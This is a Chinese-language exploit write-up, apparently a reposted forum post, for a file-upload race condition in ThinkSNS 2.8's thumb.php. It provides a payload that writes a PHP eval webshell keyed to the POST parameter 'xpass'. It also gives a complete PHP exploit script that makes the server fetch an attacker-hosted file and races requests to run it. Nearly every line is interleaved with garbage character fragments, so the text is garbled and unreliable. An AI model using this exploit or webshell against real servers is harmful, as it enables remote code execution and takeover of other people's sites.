漏洞版本
" M/ N" @. d2 g/ D H# U存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)8 `" j+ c# H* M: H- R
漏洞文件
4 I/ k+ h0 g& M A$ Z存在漏洞的文件为:thumb.php
+ ~$ k+ E* E2 Q% H; y作者:韦鲲鹏
0 d! \& d; B4 y% X( d: m5 I1、 准备如下PHP文件并上传到服务器(自己的)。' T% n' a/ x2 {' N6 e6 E% I) r
文件内容如下:
( j0 N0 W, C' d, t5 M+ ~<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>: ^" ^8 N0 s; F: n
2、 计算出临时的文件名:
; F; d2 G8 n1 Q0 j# X这里我们可以看文件的99行(刚刚是不是没注意呀!)。
. K+ u' n# S4 p4 e- ]1 u& r9 T0 y q! _1 t6 `* o+ ]
3、 上传临时文件。- |1 w0 N9 s8 ~! p/ E0 _( ]
4、 访问临时文件。
2 t! X" W) g4 f2 G3 m但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)$ K+ i. o) D# r) A, o0 ~
Exploit文件内容如下:(这个我就不详细解释了)
: b+ p* L4 @+ ^, [<?php
; Q$ w: z" l: b( v- Xerror_reporting(0);- ?! S) N' ^; Q. T4 C
set_time_limit(0);
1 g( O% L+ k# R& _4 n5 F" o3 Eini_set(“default_socket_timeout”, 5);
7 O, f% b- p8 n1 l B/ Dfunction http_send($host, $port, $headers) {* \, d) x. i5 T b) O- f7 s. y
$fp = fsockopen($host, $port);" p1 p$ Q; j7 j
if (!$fp) die(‘Connection -> fail’);
) a) f# n. z! q Pfputs($fp, $headers);
( z: B9 Q0 \: D9 m& C' P$ N- Kreturn $fp;$ c$ k+ Z/ M7 k% R0 u! k$ v& z8 k
}
, Y( p/ b- Z& q6 w! b/ h' }" [, ifunction http_recv($fp) {# x- l p: a M9 Q3 k' e
$ret=”";
! \) p! p$ t2 D% H6 _3 Y0 nwhile (!feof($fp))3 j9 \! L! Z4 x. H) ?
$ret.= fgets($fp, 1024);
' s1 u B+ q. T# Efclose($fp);
$ w$ Z* ]5 J# B( ?+ s% Ireturn $ret;( ?7 z: |) H! X
}
. C: N. G) R+ f& N$ t9 u0 Rprint “\n# ThinkSns Arbitrary File Upload #\n”;
) k( Q3 G0 O O3 Sprint “# Discovered by 韦鲲鹏 #\n\n”;. L* [# ?% H* L
if ($argc < 4) {+ @ M9 `/ R- t. S0 q( r3 s- d
print “Usage: php <host> <path> <romote_url>\n”;6 y0 ]9 [9 Y: y0 E1 {: k
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
7 |- H7 j( Z2 Udie();1 w/ I6 D% j* }
}' c% l& `4 L9 {2 u, R" Z+ E2 N( W5 _
$host = $argv[1];. H6 h% O& K$ @( t
$path = $argv[2];
`0 `0 Q7 n, K x& s$url = $argv[3];# S5 [, Q; g3 y, Y% a
$i=0;8 S! J+ i3 w, i/ J# C0 }7 F
//上传数据包. Z: K9 M3 a8 R/ M/ A
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
i% |( p3 d( H* x$ s) M$headers_up .= “Host: “.$host.”\r\n”;! K0 H5 t/ z) o$ ` e
$headers_up .= “Connection: close\r\n\r\n”;. ~2 j% i/ a |0 Q: @+ I
echo $headers_up;8 f$ I! L4 U. N- M/ i' I4 p" {4 O
//临时文件访问数据包8 V" B/ u/ P& V6 O
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
! d' P2 n G6 u$headers .= “Host: “.$host.”\r\n”;
O+ s: t9 C D8 O1 z$headers .= “Connection: close\r\n\r\n”;
- c- m7 W6 e( R% @- Jecho $headers;
% a& f7 K- d9 K7 `3 E: T kwhile(++$i<10) {
- [+ r4 U! m1 c; Y6 v% u) Nfclose(http_send($host, 80, $headers));* B0 O/ T m+ ^; X. u3 h
}- W B* K( T2 B
fclose(http_send($host, 80, $headers_up));$ ^7 O+ y3 o C5 @6 R+ x
while(++$i<50) {
7 R, O0 l/ O. e P2 yfclose(http_send($host, 80, $headers));' p, m) G9 s" a: j5 G& _2 M9 ~
}
. N7 z. B0 p R ^$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
+ ^6 F# u+ U+ N! s8 U5 ]' v* W$headers .= “Host: “.$host.”\r\n”;
- y+ W$ Z6 N' {* U+ K+ \7 f$headers .= “Connection: close\r\n\r\n”;
* }' a+ D/ V. K: V$res=http_recv(http_send($host, 80, $headers));4 t+ b; W; B& X% k
if(preg_match(‘/200 OK/’,$res)) {+ @6 S x; _4 W% X
print “Success!\n\n”;
5 G$ J7 E- \( D' E' Q- f4 f6 u} else {
9 C ]3 N8 W6 nprint “Fail!\n\n”;
: c$ [3 u. n" E}# N4 A) z! _6 L3 ?5 n
?>
3 ^/ k/ Z' s1 I7 S( o9 E! c1 ?( q |